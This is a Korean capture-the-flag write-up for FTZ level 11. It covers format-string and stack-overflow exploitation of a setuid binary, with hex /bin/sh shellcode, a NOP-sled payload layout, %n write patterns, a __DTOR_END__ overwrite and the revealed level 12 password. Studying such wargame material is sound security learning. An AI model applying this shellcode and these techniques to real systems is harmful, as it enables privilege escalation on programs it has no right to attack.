[ftz] level 11: what!@#$?
목차
11_포맷스트링과 버퍼 오버플로우
1. 포맷스트링 취약점
- 메모리에 저장된 값과 모니터로 보는 것은 다르다.
>> 2진수로 저장된 값을 우리가 인식할 수 있는 형태로 바꿔주는 것: 포맷 스트링 인자
%x / %d / %o / %c / %s / %f / %p: 변수의 주소 16진수 출력
√ 포맷스트링 취약점?
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
** -mpreferred-stack-boundary=2 옵션
: stack의 경계가 2byte 단위로 증가하도록 설정
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- main+3> 지역 변수 공간 0xc(12byte) 할당
*swing | 문자열 주소 |
*swu | 문자열 주소 |
a | 10 |
SFP | |
RET | |
argc | 2 |
argv | 명령어 |
env | 환경변수 |
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- 위 소스코드에서는 포맷 스트링을 사용하지 않고 printf(argv[1])만 했는데도 포맷 스트링을 사용한 경우와 같이 나온다.
- 하지만 소스코드에는 포맷스트링 지정자가 없기 때문에, 입력값에 포맷스트링 지정자를 입력하면
입력한 포맷스트링 지정자가 인식되어 stack을 살펴볼 수 있게 된다.
>> 포맷스트링 버그가 존재하는 지 확인
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
>> printf("%x")
- 8048415는 메모리 주소 같다는 느낌이 든다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- %x의 개수만큼 메모리 주소와 같은 문자열이 출력됨.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- "a"와 "2"는 다른 출력값과 자릿수가 다르기 때문에 자릿수를 동일하게 맞춰 보겠다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
다시 디버깅하여 스택 프레임을 확인하자.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- printf(argv[1]) 부분에 bp를 걸어두고, 인자값과 함께 프로그램을 실행하였다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- bp에 걸려서 멈춘 지점에서의 메모리 값을 출력하였다.
- 메모리 주소 하나씩을 출력해 보면 저장돼 있는 값이 나온다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- SFP(스택 프레임 포인터)와 RET가 연속적으로 위치해 있는 것을 알 수 있다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- argc, argv(못찾음), env가 순서대로 있음을 확인할 수 있다.
*swing | 0x8048415 |
*swu | 0x8048410 |
int value | 0x0000000a |
SFP | |
RET | 0x42015574 |
argc | 2 |
argv | |
env |
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- printf()를 호출하기 전 함수의 인자를 전달하기 위해 스택값에 인자를 푸시한다.
- 지역변수에 대한 스택 구성이 끝난 후, 함수의 인자를 스택에 PUSH하고 함수를 호출한다.
RET | 0x08048350 |
인자 전달 | "%8x ~ " |
*swing | 0x08048415 |
*swu | 0x08048410 |
int value | 0x0000000a |
SFP | |
RET | 0x42015574 |
argc | 2 |
argv | |
env |
2. BOF
√ 문제 분석
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- attackme 파일에 setuid가 걸려있다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
gdb로 분석하기 위해 tmp 디렉토리로 복사
√ gdb로 소스코드 분석
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
함수의 프롤로그 부분
main+3> sub esp, 0x108
:스택에 264byte만큼 공간 만듦
str[256]+dummy[8] = 264
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
>> setreuid(3092, 3092)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
>> strcpy(ebp-264, ebp+16)
= strcpy(str, argv[1])
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
>> printf(ebp-264)
= printf(str)
√ 공격
** BOF 공격
str | 256 |
dummy | 8 |
SFP | 4 |
RET | 4 |
RET에 우리가 실행하려는 쉘코드의 주소 값을 넣으면 그 주소로 JMP하여 쉘코드 실행 가능할 것이다.
따라서, RET을 덮기 위해 str[256] + dummy[8] + SFP[4] = 268byte를 덮어야 한다.
√ 페이로드
str[100] + SHELL CODE[24] + str[132] + dummy[8] + SFP[4] + str의 시작주소(RET 부분)
* SHELL CODE
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
>> NOP[100] + SHELL CODE[24] + NOP[144] + str 시작주소(RET 부분)
*** NOP 넣는 이유: 혹시 주소 값이 변경돼도 NOP 슬라이딩으로 쉘코드를 실행시키고자
BUT
ASLR 보호 기법으로 인한 스택 주소 랜덤 변경 >> str의 주소가 계속 변경됨
√ ASLR 우회 기법인 RTL(Return to Library) 기법 이용
: 환경변수에 SHELL CODE 담아 실행
NOP[268] + 환경변수 주소
>> 환경변수 주소 --> 쉘코드 실행
*** 환경변수: 등록된 데이터는 고정적인 메모리 주소를 갖게 된다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- 환경변수에 익스플로잇 코드 담기 (bash 쉘 띄워주는 코드)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- 환경변수의 주소 값을 print해주는 getenv.c 작성
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
Level 12 Password = it is like this
√ 포맷스트링 취약점 공격으로
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- printf() 에 bp를 걸고, 인자값을 전달하여 프로그램 실행한 후 전체 메모리의 내용을 확인
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
str 윗 부분: 인자의 주소
- 포맷스트링 지정자가 스택의 맨 위에 PUSH되어 있음
0xbffffc1c | 4byte |
0xbfffdcd0 | 4byte |
0x00000001 | 4byte |
0x41414141~
|
str[256] |
dummy | 8byte |
0xbfffddd8 | SFP |
0x42015574 | RET |
0x00000002 | argc |
0xbfffde04 | argv |
0xbfffde10 | env |
- 파일을 실행하면서 포맷스트링 지정자를 입력했을 때 어떤 값이 출력되는지 보자.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- str 배열 앞에 있는 메모리 값이 보이고, 41414141(AAAA)이 출력되었다.
>> 포맷스트링 취약점이 있는 프로그램은 메모리 구조를 볼 수 있게 된다.
** 특정 메모리에 원하는 값을 쓰고 싶다면?
: 포맷스트링 공격의 핵심에 해당하는 %n 지정자를 이용
* 포맷스트링 이용한 바이트 쓰기 옵션
1. %n
- 인수: int *
- %n 이전까지 쓴 문자열의 바이트 수 쓰기
%바이트수c%n
2. %hn
- 인수: short *
- %hn 이전까지 쓴 문자열의 바이트 수 쓰기
%바이트수c%hn
- %n 지정자 사용 예제
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
출력 결과를 보면,
AAAA 문자열 뒤에 있는 %8x 지정자에 대한 반응으로 "AAAA %8x %8x %8x %8x" 포맷스트링 문자열보다
먼저 stack에 push된 값을 순차적으로 읽어오는 것을 볼 수 있다.
(나중에 다시 이해하기)
0xbffffc10 | &(AAAA %8x~ ) |
0 | |
0 | |
AAAA(41414141) |
- %n 지정자를 이용해 어떻게 값을 쓸 수 있을까?
"AAAA%8x%8x%8x%n" 입력
> AAAA를 입력한 후, %8x 지정자가 3개 있으므로 AAAA의 주소로 SP가 이동해 있을 것
> AAAA의 16진수 값인 0x414141에 해당하는 주소에 strlen(AAAA%8x%8x%8x%n)의 결과인 0x1c를 쓰려고 할 것
(0x414141은 접근할 수 없는 주소이니 쓰기에 실패, Segmentation Fault가 뜰 것)
>> AAAA 문자열 대신 우리가 쓸 수 있는 메모리 주소를 지정한 후, 문자열의 수를 조절하면 우리가 원하는 메모리 주소에 원하는 값을 쓸 수 있다.
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- 변수 i의 값이 바뀐 것을 볼 수 있음
목표: 원하는 방향으로 실행 흐름 바꾸기 위해 복잡한 메모리 주소값을 덮어씌워야 함.
: 리틀엔디안 저장 방식까지 고려하여 덮어씌워야 한다!
- "AAAABBBB+변수주소+길이조절+%n" 패턴
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
* 정리
ex. 원래 printf() 함수의 주소가 있는 0x08041110 메모리 값을 셸코드의 주소로 바꾼다면,
포맷스트링 취약점을 가진 프로세스가 0x08041110 주소를 통해 실행하려는 순간 셸코드가 실행되면서 셸이 떨어지게 된다.
+ 3. 소멸자를 이용한 실행 흐름 변경 취약점
√ (포맷스트링 취약점 이용) 공격
포맷스트링에서 대표적으로 언급되는 중요한 호출 시점은 main() 함수의 소멸자다.
main() 함수가 종료되는 시점에 소멸자가 호출된다고 볼 수 있다.
>> 소멸자 역할을 수행하는 함수를 SHELL CODE로 흐름을 바꾼다면 SHELL이 떨어질 것!
![[ftz] level 11: what!@#$? [ftz] level 11: what!@#$?](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
- nm 명령어: 바이너리에 포함돼 있는 오브젝트의 심볼 목록을 볼 수 있음
- 생성자: __CTOR_LIST__, __CTOR_END__
- 소멸자: __DTOR_LIST__, __DTOR_END__ (주소: 0x08049610, 0x0804960c)
>> 실제로 값을 변조해서 실행 흐름을 바꿀 수 있는 주소는 __DTOR_END__
>> __DTOR_END__ 주소에 있는 값을 환경변수에 있는 셸코드의 주소로 덮어쓰면 된다.
(p280-289 나중에)
# 포맷스트링 절대값 지정자
$(printf "AAAA낮은주소AAAA높은주소")%8x%8x%8x%정수c%n%정수c%n
절대적인 위치 이동: %x 지정자를 %정수$x와 같이 입력
'write-up > pwnable' 카테고리의 다른 글
[ftz] level 13: have no clue (0) | 2019.08.23 |
---|---|
[ftz] level 12: it is like this (0) | 2019.08.21 |
[ftz] level 10: interesting to hack! (0) | 2019.08.18 |
[ftz] level 9: apple (0) | 2019.08.17 |
[ftz] level 8: break the world (0) | 2019.08.16 |
댓글